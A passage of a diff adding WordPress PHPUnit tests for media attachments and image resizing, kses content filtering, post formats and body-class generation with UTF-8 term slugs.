+		) );
+		$this->assertEquals( $uuid, get_post( $post_id )->post_name, 'Expected post_name to not have been dropped for drafts.' );
+		$this->assertEquals( $changeset_data, json_decode( get_post( $post_id )->post_content, true ) );
+
+		$changeset_data['blogname']['value'] = 'Hallo Welt';
+		wp_update_post( array(
+			'ID' => $post_id,
+			'post_status' => 'pending',
+			'post_content' => wp_json_encode( $changeset_data ),
+		) );
+		$this->assertEquals( $uuid, get_post( $post_id )->post_name, 'Expected post_name to not have been dropped for pending.' );
+		$this->assertEquals( $changeset_data, json_decode( get_post( $post_id )->post_content, true ) );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/attachments.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/attachments.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/attachments.php	(revision 56912)
@@ -0,0 +1,523 @@
+<?php
+
+/**
+ * @group post
+ * @group media
+ * @group upload
+ */
+class Tests_Post_Attachments extends WP_UnitTestCase {
+
+	function tearDown() {
+		// Remove all uploads.
+		$this->remove_added_uploads();
+		parent::tearDown();
+	}
+
+	function test_insert_bogus_image() {
+		$filename = rand_str() . '.jpg';
+		$contents = rand_str();
+
+		$upload = wp_upload_bits( $filename, null, $contents );
+		$this->assertTrue( empty($upload['error']) );
+	}
+
+	function test_insert_image_no_thumb() {
+
+		// this image is smaller than the thumbnail size so it won't have one
+		$filename = ( DIR_TESTDATA.'/images/test-image.jpg' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$this->assertTrue( empty($upload['error']) );
+
+		$id = $this->_make_attachment($upload);
+
+		// intermediate copies should not exist
+		$this->assertFalse( image_get_intermediate_size($id, 'thumbnail') );
+		$this->assertFalse( image_get_intermediate_size($id, 'medium') );
+		$this->assertFalse( image_get_intermediate_size($id, 'medium_large') );
+
+		// medium, medium_large, and full size will both point to the original
+		$downsize = image_downsize($id, 'medium');
+		$this->assertEquals( basename( $upload['file'] ), basename($downsize[0]) );
+		$this->assertEquals( 50, $downsize[1] );
+		$this->assertEquals( 50, $downsize[2] );
+
+		$downsize = image_downsize($id, 'medium_large');
+		$this->assertEquals( basename( $upload['file'] ), basename($downsize[0]) );
+		$this->assertEquals( 50, $downsize[1] );
+		$this->assertEquals( 50, $downsize[2] );
+
+		$downsize = image_downsize($id, 'full');
+		$this->assertEquals( basename( $upload['file'] ), basename($downsize[0]) );
+		$this->assertEquals( 50, $downsize[1] );
+		$this->assertEquals( 50, $downsize[2] );
+
+	}
+
+	function test_insert_image_thumb_only() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->fail( 'jpeg support unavailable' );
+
+		update_option( 'medium_size_w', 0 );
+		update_option( 'medium_size_h', 0 );
+
+		$filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$this->assertTrue( empty($upload['error']) );
+
+		$id = $this->_make_attachment($upload);
+
+		// intermediate copies should exist: thumbnail only
+		$thumb = image_get_intermediate_size($id, 'thumbnail');
+		$this->assertEquals( 'a2-small-150x150.jpg', $thumb['file'] );
+
+		$uploads = wp_upload_dir();
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $thumb['path']) );
+
+		$this->assertFalse( image_get_intermediate_size($id, 'medium') );
+		$this->assertFalse( image_get_intermediate_size($id, 'medium_large') );
+
+		// the thumb url should point to the thumbnail intermediate
+		$this->assertEquals( $thumb['url'], wp_get_attachment_thumb_url($id) );
+
+		// image_downsize() should return the correct images and sizes
+		$downsize = image_downsize($id, 'thumbnail');
+		$this->assertEquals( 'a2-small-150x150.jpg', basename($downsize[0]) );
+		$this->assertEquals( 150, $downsize[1] );
+		$this->assertEquals( 150, $downsize[2] );
+
+		// medium, medium_large, and full will both point to the original
+		$downsize = image_downsize($id, 'medium');
+		$this->assertEquals( 'a2-small.jpg', basename($downsize[0]) );
+		$this->assertEquals( 400, $downsize[1] );
+		$this->assertEquals( 300, $downsize[2] );
+
+		$downsize = image_downsize($id, 'medium_large');
+		$this->assertEquals( 'a2-small.jpg', basename($downsize[0]) );
+		$this->assertEquals( 400, $downsize[1] );
+		$this->assertEquals( 300, $downsize[2] );
+
+		$downsize = image_downsize($id, 'full');
+		$this->assertEquals( 'a2-small.jpg', basename($downsize[0]) );
+		$this->assertEquals( 400, $downsize[1] );
+		$this->assertEquals( 300, $downsize[2] );
+
+	}
+
+	function test_insert_image_medium_sizes() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->fail( 'jpeg support unavailable' );
+
+		update_option('medium_size_w', 400);
+		update_option('medium_size_h', 0);
+
+		update_option('medium_large_size_w', 600);
+		update_option('medium_large_size_h', 0);
+
+		$filename = ( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$this->assertTrue( empty($upload['error']) );
+
+		$id = $this->_make_attachment($upload);
+		$uploads = wp_upload_dir();
+
+		// intermediate copies should exist: thumbnail and medium
+		$thumb = image_get_intermediate_size($id, 'thumbnail');
+		$this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', $thumb['file'] );
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $thumb['path']) );
+
+		$medium = image_get_intermediate_size($id, 'medium');
+		$this->assertEquals( '2007-06-17DSC_4173-400x602.jpg', $medium['file'] );
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $medium['path']) );
+
+		$medium_large = image_get_intermediate_size($id, 'medium_large');
+		$this->assertEquals( '2007-06-17DSC_4173-600x904.jpg', $medium_large['file'] );
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $medium_large['path']) );
+
+		// the thumb url should point to the thumbnail intermediate
+		$this->assertEquals( $thumb['url'], wp_get_attachment_thumb_url($id) );
+
+		// image_downsize() should return the correct images and sizes
+		$downsize = image_downsize($id, 'thumbnail');
+		$this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', basename($downsize[0]) );
+		$this->assertEquals( 150, $downsize[1] );
+		$this->assertEquals( 150, $downsize[2] );
+
+		$downsize = image_downsize($id, 'medium');
+		$this->assertEquals( '2007-06-17DSC_4173-400x602.jpg', basename($downsize[0]) );
+		$this->assertEquals( 400, $downsize[1] );
+		$this->assertEquals( 602, $downsize[2] );
+
+		$downsize = image_downsize($id, 'medium_large');
+		$this->assertEquals( '2007-06-17DSC_4173-600x904.jpg', basename($downsize[0]) );
+		$this->assertEquals( 600, $downsize[1] );
+		$this->assertEquals( 904, $downsize[2] );
+
+		$downsize = image_downsize($id, 'full');
+		$this->assertEquals( '2007-06-17DSC_4173.jpg', basename($downsize[0]) );
+		$this->assertEquals( 680, $downsize[1] );
+		$this->assertEquals( 1024, $downsize[2] );
+	}
+
+
+	function test_insert_image_delete() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->fail( 'jpeg support unavailable' );
+
+		update_option('medium_size_w', 400);
+		update_option('medium_size_h', 0);
+
+		update_option('medium_large_size_w', 600);
+		update_option('medium_large_size_h', 0);
+
+		$filename = ( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$this->assertTrue( empty($upload['error']) );
+
+		$id = $this->_make_attachment($upload);
+		$uploads = wp_upload_dir();
+
+		// check that the file and intermediates exist
+		$thumb = image_get_intermediate_size($id, 'thumbnail');
+		$this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', $thumb['file'] );
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $thumb['path']) );
+
+		$medium = image_get_intermediate_size($id, 'medium');
+		$this->assertEquals( '2007-06-17DSC_4173-400x602.jpg', $medium['file'] );
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $medium['path']) );
+
+		$medium_large = image_get_intermediate_size($id, 'medium_large');
+		$this->assertEquals( '2007-06-17DSC_4173-600x904.jpg', $medium_large['file'] );
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $medium_large['path']) );
+
+		$meta = wp_get_attachment_metadata($id);
+		$original = $meta['file'];
+		$this->assertTrue( is_file($uploads['basedir'] . DIRECTORY_SEPARATOR . $original) );
+
+		// now delete the attachment and make sure all files are gone
+		wp_delete_attachment($id);
+
+		$this->assertFalse( is_file($thumb['path']) );
+		$this->assertFalse( is_file($medium['path']) );
+		$this->assertFalse( is_file($medium_large['path']) );
+		$this->assertFalse( is_file($original) );
+	}
+
+	/**
+	 * GUID should never be empty
+	 * @ticket 18310
+	 * @ticket 21963
+	 */
+	function test_insert_image_without_guid() {
+		// this image is smaller than the thumbnail size so it won't have one
+		$filename = ( DIR_TESTDATA.'/images/test-image.jpg' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$this->assertTrue( empty($upload['error']) );
+
+		$upload['url'] = '';
+		$id = $this->_make_attachment( $upload );
+
+		$guid = get_the_guid( $id );
+		$this->assertFalse( empty( $guid ) );
+	}
+
+	/**
+	 * @ticket 21963
+	 */
+	function test_update_attachment_fields() {
+		$filename = ( DIR_TESTDATA . '/images/test-image.jpg' );
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		$id = $this->_make_attachment( $upload );
+
+		$attached_file = get_post_meta( $id, '_wp_attached_file', true );
+
+		$post = get_post( $id, ARRAY_A );
+
+		$post['post_title'] = 'title';
+		$post['post_excerpt'] = 'caption';
+		$post['post_content'] = 'description';
+
+		wp_update_post( $post );
+
+		// Make sure the update didn't remove the attached file.
+		$this->assertEquals( $attached_file, get_post_meta( $id, '_wp_attached_file', true ) );
+	}
+
+	/**
+	 * @ticket 29646
+	 */
+	function test_update_orphan_attachment_parent() {
+		$filename = ( DIR_TESTDATA . '/images/test-image.jpg' );
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		$attachment_id = $this->_make_attachment( $upload );
+
+		// Assert that the attachment is an orphan
+		$attachment = get_post( $attachment_id );
+		$this->assertEquals( $attachment->post_parent, 0 );
+
+		$post_id = wp_insert_post( array( 'post_content' => rand_str(), 'post_title' => rand_str() ) );
+
+		// Assert that the attachment has a parent
+		wp_insert_attachment( $attachment, '', $post_id );
+		$attachment = get_post( $attachment_id );
+		$this->assertEquals( $attachment->post_parent, $post_id );
+	}
+
+	/**
+	 * @ticket 15928
+	 */
+	public function test_wp_get_attachment_url_should_not_force_https_when_current_page_is_non_ssl_and_siteurl_is_non_ssl() {
+		$siteurl = get_option( 'siteurl' );
+		update_option( 'siteurl', set_url_scheme( $siteurl, 'http' ) );
+
+		$filename = DIR_TESTDATA . '/images/test-image.jpg';
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		// Set attachment ID.
+		$attachment_id = $this->_make_attachment( $upload );
+
+		$_SERVER['HTTPS'] = 'off';
+
+		$url = wp_get_attachment_url( $attachment_id );
+
+		$this->assertSame( 'http', parse_url( $url, PHP_URL_SCHEME ) );
+	}
+
+	/**
+	 * @ticket 15928
+	 *
+	 * This situation (current request is non-SSL but siteurl is https) should never arise.
+	 */
+	public function test_wp_get_attachment_url_should_not_force_https_when_current_page_is_non_ssl_and_siteurl_is_ssl() {
+		$siteurl = get_option( 'siteurl' );
+		update_option( 'siteurl', set_url_scheme( $siteurl, 'https' ) );
+
+		$filename = DIR_TESTDATA . '/images/test-image.jpg';
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		// Set attachment ID.
+		$attachment_id = $this->_make_attachment( $upload );
+
+		$_SERVER['HTTPS'] = 'off';
+
+		$url = wp_get_attachment_url( $attachment_id );
+
+		$this->assertSame( 'http', parse_url( $url, PHP_URL_SCHEME ) );
+	}
+
+	/**
+	 * @ticket 15928
+	 *
+	 * Canonical siteurl is non-SSL, but SSL support is available/optional.
+	 */
+	public function test_wp_get_attachment_url_should_force_https_with_https_on_same_host_when_siteurl_is_non_ssl_but_ssl_is_available() {
+		$siteurl = get_option( 'siteurl' );
+		update_option( 'siteurl', set_url_scheme( $siteurl, 'http' ) );
+
+		$filename = ( DIR_TESTDATA . '/images/test-image.jpg' );
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		// Set attachment ID
+		$attachment_id = $this->_make_attachment( $upload );
+
+		$_SERVER['HTTPS'] = 'on';
+
+		// Ensure that server host matches the host of wp_upload_dir().
+		$upload_dir = wp_upload_dir();
+		$_SERVER['HTTP_HOST'] = parse_url( $upload_dir['baseurl'], PHP_URL_HOST );
+
+		// Test that wp_get_attachemt_url returns with https scheme.
+		$url = wp_get_attachment_url( $attachment_id );
+
+		$this->assertSame( 'https', parse_url( $url, PHP_URL_SCHEME ) );
+	}
+
+	/**
+	 * @ticket 15928
+	 */
+	public function test_wp_get_attachment_url_with_https_on_same_host_when_siteurl_is_https() {
+		$siteurl = get_option( 'siteurl' );
+		update_option( 'siteurl', set_url_scheme( $siteurl, 'https' ) );
+
+		$filename = ( DIR_TESTDATA . '/images/test-image.jpg' );
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		// Set attachment ID.
+		$attachment_id = $this->_make_attachment( $upload );
+
+		$_SERVER['HTTPS'] = 'on';
+
+		// Ensure that server host matches the host of wp_upload_dir().
+		$upload_dir = wp_upload_dir();
+		$_SERVER['HTTP_HOST'] = parse_url( $upload_dir['baseurl'], PHP_URL_HOST );
+
+		// Test that wp_get_attachemt_url returns with https scheme.
+		$url = wp_get_attachment_url( $attachment_id );
+
+		$this->assertSame( 'https', parse_url( $url, PHP_URL_SCHEME ) );
+	}
+
+	/**
+	* @ticket 15928
+	*/
+	public function test_wp_get_attachment_url_should_not_force_https_when_administering_over_https_but_siteurl_is_not_https() {
+		$siteurl = get_option( 'siteurl' );
+		update_option( 'siteurl', set_url_scheme( $siteurl, 'http' ) );
+
+		$filename = ( DIR_TESTDATA . '/images/test-image.jpg' );
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		// Set attachment ID
+		$attachment_id = $this->_make_attachment( $upload );
+
+		$_SERVER['HTTPS'] = 'on';
+		set_current_screen( 'dashboard' );
+
+		$url = wp_get_attachment_url( $attachment_id );
+
+		// Cleanup.
+		set_current_screen( 'front' );
+
+		$this->assertSame( set_url_scheme( $url, 'http' ), $url );
+	}
+
+	/**
+	 * @ticket 15928
+	 */
+	public function test_wp_get_attachment_url_should_force_https_when_administering_over_https_and_siteurl_is_https() {
+		// Set https upload URL 
+		add_filter( 'upload_dir', '_upload_dir_https' );
+
+		$filename = ( DIR_TESTDATA . '/images/test-image.jpg' );
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		// Set attachment ID
+		$attachment_id = $this->_make_attachment( $upload );
+
+		$_SERVER['HTTPS'] = 'on';
+		set_current_screen( 'dashboard' );
+
+		$url = wp_get_attachment_url( $attachment_id );
+
+		// Cleanup.
+		set_current_screen( 'front' );
+		remove_filter( 'upload_dir', '_upload_dir_https' );
+
+		$this->assertSame( 'https', parse_url( $url, PHP_URL_SCHEME ) );
+	}
+
+	public function test_wp_attachment_is() {
+		$filename = DIR_TESTDATA . '/images/test-image.jpg';
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$attachment_id = $this->_make_attachment( $upload );
+
+		$this->assertTrue( wp_attachment_is_image( $attachment_id ) );
+		$this->assertTrue( wp_attachment_is( 'image', $attachment_id ) );
+		$this->assertFalse( wp_attachment_is( 'audio', $attachment_id ) );
+		$this->assertFalse( wp_attachment_is( 'video', $attachment_id ) );
+	}
+
+	public function test_wp_attachment_is_default() {
+		// On Multisite, psd is not an allowed mime type by default.
+		if ( is_multisite() ) {
+			add_filter( 'upload_mimes', array( $this, 'whitelist_psd_mime_type' ), 10, 2 );
+		}
+
+		$filename = DIR_TESTDATA . '/images/test-image.psd';
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$attachment_id = $this->_make_attachment( $upload );
+
+		$this->assertFalse( wp_attachment_is_image( $attachment_id ) );
+		$this->assertTrue( wp_attachment_is( 'psd', $attachment_id ) );
+		$this->assertFalse( wp_attachment_is( 'audio', $attachment_id ) );
+		$this->assertFalse( wp_attachment_is( 'video', $attachment_id ) );
+
+		if ( is_multisite() ) {
+			remove_filter( 'upload_mimes', array( $this, 'whitelist_psd_mime_type' ), 10, 2 );
+		}
+	}
+
+	public function test_upload_mimes_filter_is_applied() {
+		$filename = DIR_TESTDATA . '/images/test-image.jpg';
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+
+		$this->assertFalse( $upload['error'] );
+
+		add_filter( 'upload_mimes', array( $this, 'blacklist_jpg_mime_type' ) );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+
+		remove_filter( 'upload_mimes', array( $this, 'blacklist_jpg_mime_type' ) );
+
+		$this->assertNotEmpty( $upload['error'] );
+	}
+
+	public function whitelist_psd_mime_type( $mimes ) {
+		$mimes['psd'] = 'application/octet-stream';
+		return $mimes;
+	}
+
+	public function blacklist_jpg_mime_type( $mimes ) {
+		unset( $mimes['jpg|jpeg|jpe'] );
+		return $mimes;
+	}
+
+	/**
+	 * @ticket 33012
+	 */
+	public function test_wp_mime_type_icon() {
+		$icon = wp_mime_type_icon();
+
+		$this->assertContains( 'images/media/default.png', $icon );
+	}
+
+	/**
+	 * @ticket 33012
+	 */
+	public function test_wp_mime_type_icon_video() {
+		$icon = wp_mime_type_icon( 'video/mp4' );
+
+		$this->assertContains( 'images/media/video.png', $icon );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/filtering.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/filtering.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/filtering.php	(revision 56912)
@@ -0,0 +1,112 @@
+<?php
+
+// save and fetch posts to make sure content is properly filtered.
+// these tests don't care what code is responsible for filtering or how it is called, just that it happens when a post is saved.
+
+/**
+ * @group post
+ * @group formatting
+ */
+class Tests_Post_Filtering extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		update_option('use_balanceTags', 1);
+		kses_init_filters();
+
+	}
+
+	function tearDown() {
+		kses_remove_filters();
+		parent::tearDown();
+	}
+
+	// a simple test to make sure unclosed tags are fixed
+	function test_post_content_unknown_tag() {
+
+		$content = <<<EOF
+<foobar>no such tag</foobar>
+EOF;
+
+		$expected = <<<EOF
+no such tag
+EOF;
+
+		$id = self::factory()->post->create( array( 'post_content' => $content ) );
+		$post = get_post($id);
+
+		$this->assertEquals( $expected, $post->post_content );
+	}
+
+	// a simple test to make sure unbalanced tags are fixed
+	function test_post_content_unbalanced_tag() {
+
+		$content = <<<EOF
+<i>italics
+EOF;
+
+		$expected = <<<EOF
+<i>italics</i>
+EOF;
+
+		$id = self::factory()->post->create( array( 'post_content' => $content ) );
+		$post = get_post($id);
+
+		$this->assertEquals( $expected, $post->post_content );
+	}
+
+	// test kses filtering of disallowed attribute
+	function test_post_content_disallowed_attr() {
+
+		$content = <<<EOF
+<img src='foo' width='500' href='shlorp' />
+EOF;
+
+		$expected = <<<EOF
+<img src='foo' width='500' />
+EOF;
+
+		$id = self::factory()->post->create( array( 'post_content' => $content ) );
+		$post = get_post($id);
+
+		$this->assertEquals( $expected, $post->post_content );
+	}
+
+	/**
+	 * test kses bug. xhtml does not require space before closing empty element
+	 * @ticket 12394
+	 */
+	function test_post_content_xhtml_empty_elem() {
+		$content = <<<EOF
+<img src='foo' width='500' height='300'/>
+EOF;
+
+		$expected = <<<EOF
+<img src='foo' width='500' height='300' />
+EOF;
+
+		$id = self::factory()->post->create( array( 'post_content' => $content ) );
+		$post = get_post($id);
+
+		$this->assertEquals( $expected, $post->post_content );
+	}
+
+	// make sure unbalanced tags are untouched when the balance option is off
+	function test_post_content_nobalance_nextpage_more() {
+
+		update_option('use_balanceTags', 0);
+
+		$content = <<<EOF
+<em>some text<!--nextpage-->
+that's continued after the jump</em>
+<!--more-->
+<p>and the next page
+<!--nextpage-->
+breaks the graf</p>
+EOF;
+
+		$id = self::factory()->post->create( array( 'post_content' => $content ) );
+		$post = get_post($id);
+
+		$this->assertEquals( $content, $post->post_content );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/formats.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/formats.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/formats.php	(revision 56912)
@@ -0,0 +1,159 @@
+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_Formats extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+	}
+
+	function test_set_get_post_format_for_post() {
+		$post_id = self::factory()->post->create();
+
+		$format = get_post_format( $post_id );
+		$this->assertFalse( $format );
+
+		$result = set_post_format( $post_id, 'aside' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 1, count( $result ) );
+
+		$format = get_post_format( $post_id );
+		$this->assertEquals( 'aside', $format );
+
+		$result = set_post_format( $post_id, 'standard' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 0, count( $result ) );
+
+		$result = set_post_format( $post_id, '' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 0, count( $result ) );
+	}
+
+	/**
+	 * @ticket 22473
+	 */
+	function test_set_get_post_format_for_page() {
+		$post_id = self::factory()->post->create( array( 'post_type' => 'page' ) );
+
+		$format = get_post_format( $post_id );
+		$this->assertFalse( $format );
+
+		$result = set_post_format( $post_id, 'aside' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 1, count( $result ) );
+		// The format can be set but not retrieved until it is registered.
+		$format = get_post_format( $post_id );
+		$this->assertFalse( $format );
+		// Register format support for the page post type.
+		add_post_type_support( 'page', 'post-formats' );
+		// The previous set can now be retrieved.
+		$format = get_post_format( $post_id );
+		$this->assertEquals( 'aside', $format );
+
+		$result = set_post_format( $post_id, 'standard' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 0, count( $result ) );
+
+		$result = set_post_format( $post_id, '' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 0, count( $result ) );
+
+		remove_post_type_support( 'page', 'post-formats' );
+	}
+
+	function test_has_format() {
+		$post_id = self::factory()->post->create();
+
+		$this->assertFalse( has_post_format( 'standard', $post_id ) );
+		$this->assertFalse( has_post_format( '', $post_id ) );
+
+		$result = set_post_format( $post_id, 'aside' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 1, count( $result ) );
+		$this->assertTrue( has_post_format( 'aside', $post_id ) );
+
+		$result = set_post_format( $post_id, 'standard' );
+		$this->assertNotInstanceOf( 'WP_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 0, count( $result ) );
+		// Standard is a special case. It shows as false when set.
+		$this->assertFalse( has_post_format( 'standard', $post_id ) );
+
+		// Dummy format type
+		$this->assertFalse( has_post_format( 'dummy', $post_id ) );
+
+		// Dummy post id
+		$this->assertFalse( has_post_format( 'aside', 12345 ) );
+	}
+
+	/**
+	 * @ticket 23570
+	 */
+	function test_get_url_in_content() {
+		$link = 'http://nytimes.com';
+		$commentary = 'This is my favorite link';
+		$link_with_commentary =<<<DATA
+$link
+
+$commentary
+DATA;
+		$href = '<a href="http://nytimes.com">NYT</a>';
+		$href_with_commentary =<<<DATA
+$href
+
+$commentary
+DATA;
+		$link_post_id = self::factory()->post->create( array( 'post_content' => $link ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $link_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$link_with_post_id = self::factory()->post->create( array( 'post_content' => $link_with_commentary ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $link_with_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$content_link = get_url_in_content( get_post_field( 'post_content', $link_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$content_link = get_url_in_content( get_post_field( 'post_content', $link_with_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$empty_post_id = self::factory()->post->create( array( 'post_content' => '' ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $empty_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$comm_post_id = self::factory()->post->create( array( 'post_content' => $commentary ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $comm_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		// Now with an href
+		$href_post_id = self::factory()->post->create( array( 'post_content' => $href ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $href_post_id ) );
+		$this->assertEquals( $link, $content_link );
+
+		$href_with_post_id = self::factory()->post->create( array( 'post_content' => $href_with_commentary ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $href_with_post_id ) );
+		$this->assertEquals( $link, $content_link );
+
+		$content_link = get_url_in_content( get_post_field( 'post_content', $href_post_id ) );
+		$this->assertEquals( $link, $content_link );
+
+		$content_link = get_url_in_content( get_post_field( 'post_content', $href_with_post_id ) );
+		$this->assertEquals( $link, $content_link );
+
+		$empty_post_id = self::factory()->post->create( array( 'post_content' => '' ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $empty_post_id ) );
+		$this->assertEquals( false, $content_link );
+
+		$comm_post_id = self::factory()->post->create( array( 'post_content' => $commentary ) );
+		$content_link = get_url_in_content( get_post_field( 'post_content', $comm_post_id ) );
+		$this->assertEquals( false, $content_link );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/getBodyClass.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/getBodyClass.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/getBodyClass.php	(revision 56912)
@@ -0,0 +1,180 @@
+<?php
+
+/**
+ * @group post
+ * @covers ::get_body_class
+ */
+class Tests_Post_GetBodyClass extends WP_UnitTestCase {
+	protected $post_id;
+
+	public function setUp() {
+		parent::setUp();
+		$this->post_id = self::factory()->post->create();
+	}
+
+	/**
+	 * @ticket 30883
+	 */
+	public function test_with_utf8_category_slugs() {
+		$cat_id1 = self::factory()->category->create( array( 'name' => 'Первая рубрика' ) );
+		$cat_id2 = self::factory()->category->create( array( 'name' => 'Вторая рубрика' ) );
+		$cat_id3 = self::factory()->category->create( array( 'name' => '25кадр' ) );
+		wp_set_post_terms( $this->post_id, array( $cat_id1, $cat_id2, $cat_id3 ), 'category' );
+
+		$this->go_to( home_url( "?cat=$cat_id1" ) );
+		$this->assertContains( "category-$cat_id1", get_body_class() );
+
+		$this->go_to( home_url( "?cat=$cat_id2" ) );
+		$this->assertContains( "category-$cat_id2", get_body_class() );
+
+		$this->go_to( home_url( "?cat=$cat_id3" ) );
+		$this->assertContains( "category-$cat_id3", get_body_class() );
+	}
+
+	/**
+	 * @ticket 30883
+	 */
+	public function test_with_utf8_tag_slugs() {
+		$tag_id1 = self::factory()->tag->create( array( 'name' => 'Первая метка' ) );
+		$tag_id2 = self::factory()->tag->create( array( 'name' => 'Вторая метка' ) );
+		$tag_id3 = self::factory()->tag->create( array( 'name' => '25кадр' ) );
+		wp_set_post_terms( $this->post_id, array( $tag_id1, $tag_id2, $tag_id3 ), 'post_tag' );
+
+		$tag1 = get_term( $tag_id1, 'post_tag' );
+		$tag2 = get_term( $tag_id2, 'post_tag' );
+		$tag3 = get_term( $tag_id3, 'post_tag' );
+
+		$this->go_to( home_url( "?tag={$tag1->slug}" ) );
+		$this->assertContains( "tag-$tag_id1", get_body_class() );
+
+		$this->go_to( home_url( "?tag={$tag2->slug}" ) );
+		$this->assertContains( "tag-$tag_id2", get_body_class() );
+
+		$this->go_to( home_url( "?tag={$tag3->slug}" ) );
+		$this->assertContains( "tag-$tag_id3", get_body_class() );
+	}
+
+	/**
+	 * @ticket 30883
+	 */
+	public function test_with_utf8_term_slugs() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$term_id1 = self::factory()->term->create( array( 'taxonomy' => 'wptests_tax', 'name' => 'Первая метка' ) );
+		$term_id2 = self::factory()->term->create( array( 'taxonomy' => 'wptests_tax', 'name' => 'Вторая метка' ) );
+		$term_id3 = self::factory()->term->create( array( 'taxonomy' => 'wptests_tax', 'name' => '25кадр' ) );
+		wp_set_post_terms( $this->post_id, array( $term_id1, $term_id2, $term_id3 ), 'wptests_tax' );
+
+		$term1 = get_term( $term_id1, 'wptests_tax' );
+		$term2 = get_term( $term_id2, 'wptests_tax' );
